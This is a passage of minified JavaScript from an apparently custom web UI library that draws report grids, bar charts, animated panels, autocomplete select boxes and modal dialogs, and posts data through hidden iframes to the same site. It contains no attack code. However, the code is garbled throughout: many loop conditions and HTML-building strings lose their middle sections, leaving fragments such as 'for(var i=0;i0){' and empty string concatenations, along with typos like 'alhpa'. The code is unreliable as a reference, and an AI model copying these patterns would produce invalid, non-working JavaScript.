GeyD=Mrlce('td');GeyC.appendChild(GeyD);GeyD.style.paddingLeft='20px';var GeyD=Mrlce('td');GeyC.appendChild(GeyD);var Sel=Mrlce('a');Sel.style.position='absolute';Sel.style.top='2px';Sel.style.left='30px';Sel.style.height='20px';Sel.style.width='80px';Sel.href='javascript:void(0)';if(GeyDiv.onMrlEditMode=='N'){Sel.innerHTML='Edit Mode';}else if(GeyDiv.onMrlEditMode=='Y'){Sel.innerHTML='Lock Report';};Sel.style.zIndex='500';Sel.GParent=this;Sel.GGeyMode=this.GGeyMode;Sel.onclick=function(){var GeyDiv=this.GParent;if(GeyDiv.onMrlEditMode=='N'){this.GGeyMode.style.display='none';this.innerHTML='Lock Report';GeyDiv.onMrlEditMode='Y';}else if(GeyDiv.onMrlEditMode=='Y'){this.GGeyMode.style.display='inline';this.innerHTML='Edit Mode';GeyDiv.onMrlEditMode='N';};GeyDiv.onMrlSetReport();};GeyD.appendChild(Sel);for (var i=0;i0){GeyE.style.width='150px';GeyE.style.display='none';var GeyG=Mrlce('button');GeyG.innerHTML='+';GeyG.style.height='20px';GeyG.style.width='40px';if (this.onMrlEditMode=='N'){GeyG.style.display='none'};GeyG.onclick=function(){this.parentNode.getElementsByTagName('select')[0].style.display='inline';this.style.display='none';this.parentNode.getElementsByTagName('select')[0].focus();this.parentNode.getElementsByTagName('select')[0].onblur=function(){if (this.value!=''){return 0};this.parentNode.getElementsByTagName('button')[0].style.display='inline';this.style.display='none';};};GeyD.appendChild(GeyG);}else{GeyE.style.width='205px';GeyE.style.display='inline';};if(nlf.length!=0){for(var i=0;i=nn.length){break};GeData=nn[mm];};var r=new Array();var Ttl=new Array();for(var m=0;m','>');sel.appendChild(op);};if(selv[i]!==undefined){sel.value=selv[i]};dd.appendChild(sel);d.appendChild(dd);};d.rheight=d.offsetHeight;MrlAnimat(d,2,100,'fs',null,null,d.rheight);sel.focus();d.style.height='10px';};h.appendChild(a);var lbl=Mrlce('label');lbl.style.position='relative';lbl.style.margin='0px 10px 0px 10px';lbl.style.height='20px';lbl.innerHTML='|';h.appendChild(lbl);var a=Mrlce('a');a.style.position='relative';a.style.height='20px';a.href='javascript:void(0)';a.innerHTML='Show Data';a.gr=gr;a.onclick=function(){var gr=this.gr;var dat=gr.dat;var hd=gr.hd;var GeyA=Mrlce('div');GeyA.style.position='absolute';GeyA.style.height='100%';GeyA.style.width='100%';GeyA.style.top='0px';GeyA.style.left='0px';GeyA.style.zIndex='9999';GeyA.style.backgroundColor='#fafafa';trinner='';for(var i=0;i'+hd[i]+'';};trinner+='';for(var i=0;i<1;i++){trinner+='';for(var q=0;q'+dat[i][q]+'';};trinner+='';};trinner+='
';GeyA.innerHTML=trinner;gr.appendChild(GeyA);var a=Mrlce('a');a.GeyA=GeyA;a.style.position='absolute';a.style.right='30px';a.style.top='10px';a.style.fontSize='20px';a.innerHTML='x';a.style.zIndex='999';a.style.textAlign='center';a.href='javascript:void(0)';GeyA.appendChild(a);a.onclick=function(){this.GeyA.parentNode.removeChild(this.GeyA)};};h.appendChild(a);};gr.caldat=function(){var gr=this.gr;var dat=gr.dat.slice();var cbtm=gr.cbtm;var ccal=gr.ccal;var cmid=gr.cmid;var csor=gr.csor;for(var i=0;i b[key]) ? (0-ord) : (a[key] < b[key]) ? ord: 0)})};if(cbtm!==''){var key=cbtm;sdat.sort(function(a,b) {return ((a[key] > b[key]) ? (0-ord) : (a[key] < b[key]) ? ord: 0)})};gr.sdat=sdat.slice();};gr.mchart=function(){var gr=this.gr;gr.caldat();var sdat=gr.sdat.slice();var cbtm=gr.cbtm;var ccal=gr.ccal;var cmid=gr.cmid;var csor=gr.csor;var ndat=new Array();var cdat=new Array();var chdat=new Array();var cbtmc=1;var cmidc=1;if(cbtm==''){return 0};var cbtmc=0;for(var i=0;i=12){alert("The field have too many different data");return 0};for(var q=0;q=30){alert("The field have too many different data");return 0};var mi=0;var ma=0;for(var i=0;ima*1){ma=cdat[i]};if(cdat[i]*1ra){cr=cr;}else if(cr*40>ra){cr=cr*2;}else if(cr*100>ra){cr=cr*5;};if(mi<0){var crb=(0-parseInt(pmi/cr)-1)*cr;}else{var crb=0;};var ch=Mrlce('div');if(gr.ch){gr.removeChild(gr.ch)};gr.ch=ch;var chh=(gr.offsetHeight-20);var chw=(gr.offsetWidth);Mrlab4(ch,20,0,chh,chw);ch.style.overflow='hidden';crpx=(chh-20-80)/21;for(var i=0;i<21;i++){var q=21-i;if(i/2==parseInt(i/2)){var lbl=Mrlce('button');Mrlab4(lbl,parseInt(crpx*q)-10,0,20,120);lbl.style.textAlign='right';lbl.innerHTML=Mrldp(crb*1+(cr*i),2);lbl.style.border='none 1px #000';lbl.style.backgroundColor='transparent';ch.appendChild(lbl);};var ln=Mrlce('img');Mrlab4(ln,parseInt(crpx*q),120,1,5);ln.style.backgroundColor=gr.lcol;ln.src='/MRL/img/hidden.png';ln.style.zIndex=2;ch.appendChild(ln);var iln=Mrlce('img');Mrlab4(iln,parseInt(crpx*q),120,1,(chw-120-120));iln.style.backgroundColor=gr.ilcol;iln.src='/MRL/img/hidden.png';iln.style.zIndex=1;if((crb*1+(cr*i))==0){iln.style.backgroundColor=gr.lcol;};ch.appendChild(iln);};var chndat=new Array();for(var i in chdat){chndat[chndat.length]=i};crwpx=(chw-120-120)/chndat.length;for(var i=0;i=0){Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)-20,parseInt(crwpx*(i*1+1))*1-100,20,200);}else{Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)*1+20,parseInt(crwpx*(i*1+1))*1-100,20,200);};lbl.style.textAlign='center';lbl.style.zIndex=4;lbl.innerHTML=Mrldp(Math.round(cdat[i]),2);cb.appendChild(lbl);if(gr.ct==1){var dln=Mrlce('img');if(ht>0){Mrlab4(dln,cbh-parseInt(ht*1-crbht*1+crpx*1),parseInt(crwpx*(i*1+0.2))*1-1,ht*1,parseInt(wd*0.6));dln.style.borderTop='solid 2px #8be';}else{Mrlab4(dln,cbh+crbht*1-crpx*1,parseInt(crwpx*(i*1+0.2))*1-1,ht*(0-1),parseInt(wd*0.6));dln.style.borderBottom='solid 2px #8be';};lbl.style.left=(parseInt(crwpx*(i*1+0.5))*1-100)+'px';dln.style.backgroundColor='#9cf';dln.src='/MRL/img/hidden.png';dln.style.zIndex=0;cb.appendChild(dln);}else if(gr.ct==2){var cpn=(ht-pn)/wd;for(var q=0;q0){Mrlab4(dln,cbh-parseInt(nht*1-crbht*1+crpx*1),parseInt(crwpx*i)*1+q-1,nht*1,1);dln.style.borderTop='solid 2px #8be';}else{Mrlab4(dln,cbh+crbht*1-crpx*1,parseInt(crwpx*i)*1+q-1,nht*(0-1),1);dln.style.borderBottom='solid 2px #8be';};dln.style.backgroundColor='#9cf';dln.src='/MRL/img/hidden.png';dln.style.zIndex=0;cb.appendChild(dln);};pn=ht;};};}else{var milcol=gr.milcol;var millcol=gr.millcol;var wd=(parseInt(crwpx)*1+1);var pn=new Array();var ppn=0;for(var i=0;i0){var ddi=Mrlce('div');Mrlab4(ddi,10,chw-110,(mcdat[0].length*20),100);ddi.style.border='solid 1px #036';ch.appendChild(ddi);for(var ti=0;ti=0){Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)-20,parseInt(crwpx*(i*1+1))*1-100,20,200);}else{Mrlab4(lbl,cbh-parseInt(ht*1-crbht*1+crpx*1)*1+20,parseInt(crwpx*(i*1+1))*1-100,20,200);};lbl.style.textAlign='center';lbl.style.zIndex=mcdat[i].length*1+1;lbl.innerHTML=Mrldp(Math.round(cdat[i]),2);cb.appendChild(lbl);var mbs=0;if(gr.ct==1){lbl.style.left=(parseInt(crwpx*(i*1+0.5))*1-100)+'px';for(var q=0;q0){Mrlab4(dln,cbh-parseInt(mht*1-crbht*1+crpx*1+mbs*1),parseInt(crwpx*(i*1+0.2))*1-1,mht*1,wd*0.6);}else{var dmht=mht;if(mht<=0){var dmht=mht*(0-1)};Mrlab4(dln,cbh*1+crbht*1-crpx*1-mbs*1,parseInt(crwpx*(i*1+0.2))*1+-1,dmht*1,wd*0.6);};dln.style.backgroundColor=milcol[q];dln.style.borderLeft='solid 1px '+millcol[q];dln.style.borderRight='solid 1px '+millcol[q];if(q==mcdat[i].length-1){dln.style.borderTop='solid 1px '+millcol[q]};dln.src='/MRL/img/hidden.png';dln.style.zIndex=0;cb.appendChild(dln);mbs=mbs*1+mht*1;};}else if(gr.ct==2){var cttl=0;for(var q=0;q0){Mrlab4(dln,cbh-parseInt(mmht*1-crbht*1+crpx*1*1),parseInt(crwpx*i)*1-1*1+(p*2),mmht*1,2);}else{var dmht=mht;if(mmht<=0){var dmht=mmht*(0-1)};Mrlab4(dln,cbh+crbht*1-crpx*1*1,parseInt(crwpx*i)*1-1*1+(p*2),dmht*1,2);};dln.style.backgroundColor=milcol[q];dln.style.borderTop='solid 1px '+millcol[q];dln.style.zIndex=(0-q)*1+mcdat[i].length*1;dln.src='/MRL/img/hidden.png';cb.appendChild(dln);};pn[q]=cttl;};};};};gr.appendChild(ch);};gr.cbtm='';gr.ccal='';gr.cmid='';gr.csor=new Array();gr.ct=2;gr.mtool();setTimeout("Mrlgei('"+gr.id+"').mchart()");return gr;};MrlAnimatR=function(MrlAnimatR_Gey,MrlAnimatR_Spd,MrlAnimatR_Sec,MrlAnimatR_Typ,MrlAnimatR_Btm,MrlAnimatR_Rgt,MrlAnimatR_Height,MrlAnimatR_Width,MrlAnimatR_Opa,MrlAnimatR_Rot,MrlAnimatR_ScrT,MrlAnimatR_ScrL){var Gey=MrlAnimatR_Gey;if (!Gey.tagName){return 0};var Spd=isNaN(MrlAnimatR_Spd*1)?2:Math.round(MrlAnimatR_Spd);var Sec=isNaN(MrlAnimatR_Sec*1)?2000:Math.round(MrlAnimatR_Sec);var FS=MrlAnimatR_Typ;Gey.style.position=Gey.style.position?Gey.style.position:'absolute';FS+='';FS=FS.toUpperCase();var Tms=Math.round(Sec/50);if(!Tms){return 0};if (!document.body.MrlAnimatR){var GeyA=Mrlce('div');GeyA.style.display='none';document.body.appendChild(GeyA);document.body.MrlAnimatR=GeyA;}else{var GeyA=document.body.MrlAnimatR;};var GeyB=GeyA.childNodes;var Chk=1;for(var i=0;i'){rp=rp.substring(10);};rp=rp.substring(0,rp.indexOf(a.mdet));if(rp.substring(rp.length-11).toUpperCase()==''){rp=rp.substring(0,rp.length-11);};rp=MrlReplace(MrlReplace(MrlReplace(rp,mamp,mramp),mlt,Gt),mgt,mrgt);a.onMrlResult=rp;a.parentNode.removeChild(a);a.onMrlSubmit();};setTimeout("Mrlgei('"+mif.id+"').onMrlLoad()",100);return mif;};msphp=function(mphp_fn,mphp_txt){var mif=Mrlce('iframe');var t=JSON.stringify(mphp_txt);var fn=JSON.stringify(mphp_fn);mif.mt=t;mif.mfp=fn;mif.mdet=decodeURI('%01')+decodeURI('%03')+decodeURI('%07');mif.id='mphp'+parseInt(Math.random()*999999);mif.onMrlSubmit=function(){alert(this.onMrlResult)};mif.src='/msphp/?m='+parseInt(Math.random()*999999);mif.style.display='none';document.body.appendChild(mif);mif.onMrlLoad=function(){var a=this;var c=a.contentWindow;if(!c){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};if(!c.document){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};var d=c.document;if(!d){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};var ta=d.getElementById('data');var tb=d.getElementById('fp');if(!ta||!tb){setTimeout("Mrlgei('"+a.id+"').onMrlLoad()",10);return 0};ta.value=a.mt;tb.value=a.mfp;var f=d.getElementById('fm');f.submit();setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);};mif.onMrlComplete=function(){var a=this;var c=a.contentWindow;if(!c){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};var d=c.document;if(!d){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};if(!c.document){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};var rp=d.body;if(!rp){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};rp=rp.innerHTML;if(!rp){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};if(rp.indexOf(a.mdet)==-1){setTimeout("Mrlgei('"+a.id+"').onMrlComplete()",10);return 0};if(rp.substring(0,1)==decodeURI('%0a')){rp=rp.substring(1,rp.length)};if(encodeURI(rp.substring(0,1))=='%EF%BB%BF'){rp=rp.substring(1,rp.length);};rp=rp.substring(0,rp.length-3);rp=MrlReplace(MrlReplace(MrlReplace(rp,mamp,mramp),mlt,Gt),mgt,mrgt);a.onMrlResult=rp;a.parentNode.removeChild(a);a.onMrlSubmit();};setTimeout("Mrlgei('"+mif.id+"').onMrlLoad()",100);return mif;};MrlGradient=function(GGradient_Gey,GGradient_mfm,GGradient_mto,GGradient_mdirection){var mfm=GGradient_mfm;var mto=GGradient_mto;if(GGradient_mdirection){var mdir=GGradient_mdirection;}else{if(GGradient_mdirection==0){var mdir=GGradient_mdirection;}else{var mdir=1;};};var ary=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'];var aa=new Array();for(var i=0;iparseInt(owd)){;this.style.height=parseInt(oht)+'px';this.style.width=parseInt(c)+'px';this.style.left=(0-((c-owd)/2))+'px';}else{;this.style.height=parseInt(d)+'px';this.style.width=parseInt(owd)+'px';this.style.left='0px';};this.mparent.appendChild(this);};document.body.appendChild(bg);bg.mparent=d;d.style.zIndex=zi;di.style.zIndex=zi;bg.style.zIndex=zi-1;d.id='MrlImgBgD'+parseInt(Math.random()*99999);d.bg=bg;d.onMove=function(){var bg=this.bg;bg.onMrlLoad();var d=this;var ht=window.innerHeight||document.innerHeight||document.offsetHeight||document.documentElement.clientHeight;var wd=window.innerWidth||document.innerWidth||document.offsetWidth||document.documentElement.clientWidth;if(window.pageYOffset){;vpos=window.pageYOffset;lpos=window.pageXOffset;}else if(document.documentElement.scrollTop){;vpos=document.documentElement.scrollTop;;lpos=document.documentElement.scrollLeft;}else if(document.body){vpos=document.body.scrollTop;lpos=document.body.scrollLeft;};var tp=d.offsetTop;var bt=tp*1+d.offsetHeight;var lf=d.offsetLeft;var ht=d.offsetHeight;var rt=lf*1+d.offsetWidth;if((vpos*1+ht*1)>(tp*1+50)&&vpos<(bt*1-50)){var bb=tp-ht-50;var cc=bt*1+50;var ra=cc-bb;var hk=bg.offsetHeight-d.offsetHeight;MrlAnimat(bg,10,bg.spd,'fs',(0-(((vpos-bb)/ra)*hk)));}else{bg.style.top='0px';};setTimeout("Mrlgei('"+this.id+"').onMove()",bg.spd);};d.onMove();return d.bg;};Mrlsel=function(Gsel_inp,Gsel_tb,Gsel_mxht){var inp=Gsel_inp;var tb=Gsel_tb||0;var mxht=Gsel_mxht||300;var d=Mrlce('div');inp.msel=d;document.body.appendChild(d);d.style.overflowY='scroll';d.style.overflowX='hidden';d.style.display='none';d.id=mgdi('Mrlsel',8);Mrlab4(d,null,null,0,null);d.tb=tb;d.mxht=mxht;d.inp=inp;d.cval=inp.value;var mc=mrgb('#fff');d.mc=mc;d.onscroll=function(){var d=this;if(d.childNodes.length==0){return 0};var cn=d.childNodes[d.childNodes.length-1];var st=d.scrollTop;var ht=(cn.offsetTop*1+cn.offsetHeight*1);if((ht-310)<=(st*1)){d.mlist();};};if((!inp.mfocus)&&inp.onfocus){inp.mfocus=new Array();inp.mfocus[0]=inp.onfocus;inp.onfocus=function(){var inp=this;var chs=inp.mfocus;for(var i=0;i=2){if(!Array.isArray(ops[1])){for(var i=1;i=ops.length){chka=1;break};var dd=opds[i][0];dd.d=d;dd.onmouseover=function(){this.d.msel(this)};dd.onmousedown=function(){this.d.mseled(this)};dd.style.cursor='pointer';dd.style.padding='1px 5px';dd.style.lineHeight='normal';dd.dat=ops[i].slice();dd.innerHTML=ops[i].slice(1).join('
');};d.opdset=ed;if(chka==0){setTimeout('Mrlgei("'+d.id+'").opdsets()',100);};};d.mshow=function(){var d=this;if(d.mloaded==0){d.mload()};d.mloaded=1;d.style.display='block';var tb=d.tb;var inp=d.inp;var ed=d.ed;var ctp=inp.offsetTop;var clf=inp.offsetLeft;var cht=inp.offsetHeight;var cwd=inp.offsetWidth;var tp=ctp*1+cht*1;var lf=clf;var ht=0;var wd=cwd*1+20*1;if(!tb){Mrlab4(d,tp,lf,0,wd);}else{Mrlab4(d,ctp,lf,0,wd);};var p=Mrlgp(inp);p.appendChild(d);d.mlist();d.onMrlAnimatEnd=function(){};};d.msel=function(msel_Gey){var d=this;var mc=d.mc;var Gey=msel_Gey;d.csel.style.backgroundColor='transparent';d.csel.style.color='inherit';d.csel=Gey;d.csel.style.backgroundColor=d.mc[80];d.csel.style.color=d.mc[0];};d.mseled=function(mseled_Gey){var d=this;var inp=d.inp;var Gey=mseled_Gey;inp.onMrlResult=Gey.dat.slice();if(Gey.dat[0]!=''){inp.value=Gey.dat[1];};if(inp.onMrlSubmit){inp.onMrlSubmit()};};d.mhide=function(){var d=this;var tb=d.tb;var inp=d.inp;var ctp=inp.offsetTop;var cht=inp.offsetHeight;if(tb){MrlAnimat(d,5,800,'fs',ctp*1+1*1,null,1);}else{MrlAnimat(d,5,800,'fs',ctp*1+cht*1+1*1,null,1);};d.onMrlAnimatEnd=function(){var d=this;d.style.display='none';d.onMrlAnimatEnd=function(){};};};d.msort=function(){var d=this;var inp=d.inp;var tb=d.tb;var mxht=d.mxht;var cmxht=mxht;var stp=d.stp;var opds=d.opds;var ops=d.ops;d.cop=0;var mval=inp.value.toString().toUpperCase();var opi=ops.slice().map(function(r){return r.slice(1)});var sop=new Array();var qq=0;for(var i=0;i');};};sop.push(opds[i][0]);};};if(sop.length==0){sop=[opds[0][0]]};if(d.csel){d.csel.style.backgroundColor='transparent';d.csel.style.color='inherit';};d.csel=sop[0];d.csel.style.backgroundColor=d.mc[80];d.csel.style.color=d.mc[0];d.sop=sop;d.mlist();};d.mlist=function(){var d=this;var inp=d.inp;var tb=d.tb;var mxht=d.mxht;var cmxht=mxht;var sop=d.sop;var cop=d.cop;var stp=d.stp;for(var i=cop;i<(cop*1+stp*1);i++){if(i>=sop.length){break};d.appendChild(sop[i]);};d.cop=(cop*1+stp*1);if(d.childNodes.length>=1){var Gey=d.childNodes[d.childNodes.length-1];var Geyht=Gey.offsetHeight*1+Gey.offsetTop*1;var cmxht=(((Geyht*1)<(mxht*1))?Geyht:mxht);};if(tb){var ctp=inp.offsetTop;MrlAnimat(d,20,500,'fs',ctp-cmxht,null,cmxht);}else{MrlAnimat(d,20,500,'fs',null,null,cmxht);};};d.mloaded=0;return d;};MrlSelectBox=function(GSelectBox_Gey,GSelectBox_ary,GSelectBox_zi,GSelectBox_typ){if(!GSelectBox_Gey){return 0};if(!GSelectBox_ary){return 0};var inp=GSelectBox_Gey;var ops=GSelectBox_ary;var nops=new Array();for(var i=0;i=ops.length){if(sel.mshowsta==1){sel.msort(sel.inp.value);};if(sel.ld.parentNode){sel.ld.parentNode.removeChild(sel.ld)};return 0};if(i>=(cc*1+19*1)){break};};clearTimeout(sel.mtimo);sel.mtimo=setTimeout('Mrlgei("'+sel.id+'").mcc()',10);};var ld=Mrlce('div');ld.style.position='relative';ld.style.textAlign='center';ld.style.padding='5px';var im=Mrlce('img');im.src='/MRL/img/loading.gif';im.style.height='30px';ld.appendChild(im);sel.appendChild(ld);sel.ld=ld;sel.onscroll=function(){var sel=this;if(sel.childNodes.length==0){return 0};var Gey=sel.childNodes[sel.childNodes.length-1];var ht=Gey.offsetTop*1+Gey.offsetHeight*1;if((ht-300)<=(sel.scrollTop*1)){sel.mced=sel.mced*1+sel.mdefmced*1;if(sel.onMrlAnimatEnd){if(sel.onMrlAnimatEnd.toString().length<30){sel.msort(sel.inp.value);};};};};sel.msort=function(msort_key){var ky=msort_key||'';var ky=ky+'';var uky=ky.toUpperCase();var sel=this;var ops=sel.opps;var dat=sel.dat;var vsc=0;if(ky==''){for(var i=0;i=sel.mced){if(ops[i].parentNode){sel.removeChild(ops[i])};}else{sel.appendChild(ops[i]);if(i==0){var sb=ops[i]};};};}else{for(var i=0;i=sel.mced){if(ops[i].parentNode){sel.removeChild(ops[i])};}else{if(tbd=='INLINE-BLOCK'){sel.appendChild(ops[i]);if(vsc==1){var sb=ops[i]};}else{if(ops[i].parentNode){sel.removeChild(ops[i])};};};};};if(sel.pGey){if(!sel.pGey.parentNode){if(!sb){return 0;};sel.mover(sb);};if(sel.childNodes.length==0){return 0};var op=sel.childNodes[sel.childNodes.length-1];var ht=op.offsetTop*1+op.offsetHeight*1;if(ht>300){ht=300};if((sel.pGey.offsetTop*1+sel.pGey.offsetHeight*1)>(sel.scrollTop*1+300*1)){MrlAnimat(sel,2,500,'fs',null,null,ht,null,null,null,sel.pGey.offsetTop*1+sel.pGey.offsetHeight*2-300*1);}else{MrlAnimat(sel,2,500,'fs',null,null,ht,null,null,null,sel.pGey.offsetTop*1);};};sel.onMrlAnimatEnd=function(){};};sel.msel=function(){var sel=this;var inp=sel.inp;var Gey=sel.pGey;if(Gey.parentNode){inp.value=Gey.mary[0];inp.onMrlResult=Gey.mary.slice();}else{inp.onMrlResult=null;};inp.onblur();inp.focus();if(inp.onMrlSubmit){inp.onMrlSubmit()};};sel.mover=function(Gey){var sel=this;if(sel.pGey){var pGey=sel.pGey;pGey.style.backgroundColor='#fff';pGey.style.color=sel.mft[2];};sel.pGey=Gey;Gey.style.backgroundColor='#555';Gey.style.color='#fff';};sel.mshow=function(mshow_a){var sel=this;var inp=sel.inp;var p=inp.parentNode;for(var i=0;p!=document.body;i=0){var pt=p.tagName;pt+='';pt=pt.toUpperCase();if(pt=='DIV'||pt== 'BUTTON'||pt=='SPAN'){break};p=p.parentNode;};Mrlab4(sel,(inp.offsetTop*1+inp.offsetHeight*1),inp.offsetLeft*1,null,(inp.offsetWidth*1+20*1-4));sel.mft=[(inp.style.fontFamily||'verdana'),inp.style.fontSize||'12px',inp.style.fontColor||'#555'];Mrlft(sel,sel.mft[0],sel.mft[1],sel.mft[2]);p.appendChild(sel);sel.style.display='block';if(!mshow_a){sel.msort(inp.value);}else{sel.msort_mshow_a=1;sel.msort('');sel.msort_mshow_a=0;};if(sel.childNodes.length==0){sel.msort('');};if(sel.childNodes.length==0){return 0};sel.mshowsta=1;var op=sel.childNodes[sel.childNodes.length-1];var ht=op.offsetTop*1+op.offsetHeight*1;if(ht>300){ht=300};MrlAnimat(sel,2,500,'fs',null,null,ht);sel.onMrlAnimatEnd=function(){};};sel.mblur=function(){var sel=this;var inp=sel;MrlAnimat(sel,2,500,'fs',null,null,1);sel.onMrlAnimatEnd=function(){this.style.display='none'};sel.mshowsta=0;};sel.mshowsta=0;var monfocus="inp.select();inp.msel.mshow(1)";var monblur="inp.msel.mblur()";var monkeyup="e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){return 1};if(kc==9){return 1};var inp=this;var sel=inp.msel;inp.msel.mced=inp.msel.mdefmced;sel.msort(inp.value)";var monkeydown="e=e||window.event;var kc=e.which||e.keyCode;var inp=this;if(inp.msel){if(inp.msel.style.display.toString().toUpperCase()=='BLOCK'){var sel=inp.msel;if(kc==38){if(sel.pGey.previousSibling.parentNode){sel.mover(sel.pGey.previousSibling)}}else if(kc==40){if(sel.pGey.nextSibling.parentNode){sel.mover(sel.pGey.nextSibling);}}else if(kc==13||kc==9){if(sel.childNodes.length==0){inp.onblur();return 0};sel.pGey.onmousedown();inp.onblur()};}else{if(kc==13){inp.onfocus();};};}else{if(kc==13){inp.onfocus();};};";var eary=[['onfocus',monfocus],['onblur',monblur],['onkeyup',monkeyup],['onkeydown',monkeydown]];for(var ii=0;iimd||d<=0){return false;};return nda.join('-');};MrlGridForElder=function(GGridForElder_gr){var gr=GGridForElder_gr;var mgr=Mrlce('div');var dat=gr.getData();var hd=gr.hd;var ta=gr.ta;mgr.innerHTML='
';var ty=mgr.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.removeChild(ty.childNodes[0]);var tr=Mrlce('tr');ty.appendChild(tr);for(var q=0;q2){var td=Mrlce('td');tr.appendChild(td);td.style.width=hd[q][1]+'px';td.style.border='solid 1px #ddd';td.setAttribute('align',ta[q]);td.setAttribute('vAlign','bottom');td.innerHTML=hd[q][0];};};for(var i=0;i2){var td=Mrlce('td');td.style.width=hd[q][1]+'px';td.style.border='solid 1px #ddd';td.setAttribute('align',ta[q]);td.setAttribute('vAlign','top');td.mgr=mgr;tr.appendChild(td);td.ondblclick=function(){var td=this;var mgr=td.mgr;if(mgr.gr.editAry[td.c]=='N'){return 0};if(mgr.gr.edYN=='N'){return 0};var tx=mgr.tx;if(tx.td){tx.td.innerHTML=(tx.td.mval.indexOf(decodeURI('%0a'))==(0-1))?tx.td.mval.replace(/\n/g,'').replace(/\r/g,'
'):tx.td.mval.replace(/\n/g,'
').replace(/\r/g,'');};tx.style.height=td.offsetHeight+'px';tx.style.width=td.offsetWidth+'px';tx.value=this.innerHTML.replace(/\/g,decodeURI('%0d'));tx.ovalue=td.innerHTML;tx.td=td;td.innerHTML='';tx.style.display='block';tx.setAttribute('maxLength',mgr.gr.mml[td.c]);td.appendChild(tx);tx.style.textAlign=mgr.gr.ta[td.c];tx.select();};td.r=i;td.c=q;td.innerHTML=dat[i][q];td.mval=dat[i][q];};};};var tx=Mrlce('textarea');mgr.tx=tx;tx.style.position='relative';tx.style.display='none';tx.mgr=mgr;tx.mct=1;tx.onkeydown=function(e){var tx=this;var mgr=tx.mgr;var txt=mgr.txt;e=e||window.event;var kc=e.which||e.keyCode;if(kc==27){tx.value=tx.ovalue;txt.select();return false;}else if(kc==17){tx.mct=2;return false;}else if(kc==13&&tx.mct==2){txt.select();return false;};};tx.onblur=function(){var tx=this;var mgr=tx.mgr;if(!tx.td){return 0};var td=tx.td;tx.mval=tx.value;td.mval=(tx.mval.indexOf(decodeURI('%0a'))==(0-1))?tx.mval.replace(/\n/g,'').replace(/\r/g,'
'):tx.mval.replace(/\n/g,'
').replace(/\r/g,'');td.innerHTML=td.mval;tx.style.display='none';mgr.dat[td.r][td.c]=td.mval;mgr.gr.updateData(mgr.dat);};tx.onfocus=function(){var tx=this;tx.mct=1;};tx.onkeyup=function(e){var tx=this;var mgr=tx.mgr;tx.mval=tx.value;if(tx.td){tx.td.mval=(tx.mval.indexOf(decodeURI('%0a'))==(0-1))?tx.mval.replace(/\n/g,'').replace(/\r/g,'
'):tx.mval.replace(/\n/g,'
').replace(/\r/g,'');};e=e||window.event;var kc=e.which||e.keyCode;if(kc==17){tx.mct=1;return false;};};mgr.appendChild(tx);var txt=Mrlce('input');mgr.appendChild(txt);Mrlab4(txt,0,-2000,20,100);txt.style.visible='hidden';mgr.txt=txt;mgr.gr=gr;var ndat=new Array();for(var i=0;i
";var bgd=Mrlce('div');Mrlab4(bgd,0,0);bgd.style.height='100%';bgd.style.width='100%';if(bgc[100]=='#ffffff'){dl='l';bgd.style.opacity='0.8';bgd.style.filter='alpha(opacity=80)';bgd.style.backgroundColor='#fff';}else if(bgc[100]=='#000000'){dl='d';bgd.style.opacity='0.5';bgd.style.filter='alpha(opacity=50)';bgd.style.backgroundColor='#000';};tm.appendChild(bgd);tm.appendChild(tm.getElementsByTagName('center')[0]);var ty=tm.getElementsByTagName('input')[0].parentNode;ty.removeChild(ty.childNodes[0]);var al=Mrlce('div');al.style.position='relative';al.style.height='auto';al.style.width='auto';al.style.border='solid 3px '+bgc[90];al.style.backgroundColor=bg;al.style.borderRadius='8px';al.style.padding='8px 15px 8px 15px';var a=Mrlce('div');a.style.position='relative';a.style.textAlign='left';a.innerHTML=''+tle+'';a.style.whiteSpace='nowrap';a.style.width='100%';a.style.color=bgc[99];Mrlft(a,'verdana',Math.round(fz*1.1));al.appendChild(a);var a=Mrlce('div');a.style.position='relative';a.style.textAlign='left';a.innerHTML=txt;a.style.whiteSpace='nowrap';a.style.width='100%';a.style.paddingTop='10px';a.style.color=bgc[99];Mrlft(a,'verdana',fz);al.appendChild(a);var btns=Mrlce('div');btns.style.position='relative';btns.style.paddingTop='10px';btns.style.whiteSpace='nowrap';al.appendChild(btns);document.body.appendChild(tm);var inp=Mrlce('input');inp.readOnly=true;Mrlab4(inp,0,-200,18,100);tm.appendChild(inp);inp.typ=typ;inp.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){if(this.btnary.length>0){this.btnary[0][2].onclick();}else{this.tm.mmblur();};}else if(kc==27){if(this.btnary.length>0){this.btnary[this.btnary.length-1][2].onclick();}else{this.tm.mmblur();};};};inp.tm=tm;inp.focus();if(typ==1){inp.onblur=function(){this.tm.mmblur()};var btnary=new Array();}else if(typ==2){var btnary=[['Close','C']];}else if(typ==3){var btnary=[['Yes','Y'],['No','N']];}else if(typ==4){var btnary=[['Yes','Y'],['No','N'],['Cancel','C']];}else{var btnary=[['Close','C']];};for(var i=0;i';var lhc=Mrlmid();var im=Mrlce('img');im.src='/MRL/img/loading.gif';lhc.td.appendChild(im);d.style.overflow='hidden';d.appendChild(lhc);lhc.style.position='absolute';lhc.childNodes[0].style.backgroundColor='#fff';if(Mrlie9()){lhc.childNodes[0].style.filter='alhpa(opacity=90)';}else{lhc.childNodes[0].style.opacity='0.9';};d.lhc=lhc;d.mmar=grouppic_mar?grouppic_mar:0;var dd=Mrlce('div');d.getElementsByTagName('center')[0].appendChild(dd);d.ims=ims;d.dd=dd;d.mcd=ims.length;d.rh=rh;d.mrh=mrh;d.oncal=function(){var d=this;d.mcd--;var ims=d.ims;var rh=d.rh;var mrh=d.mrh;var 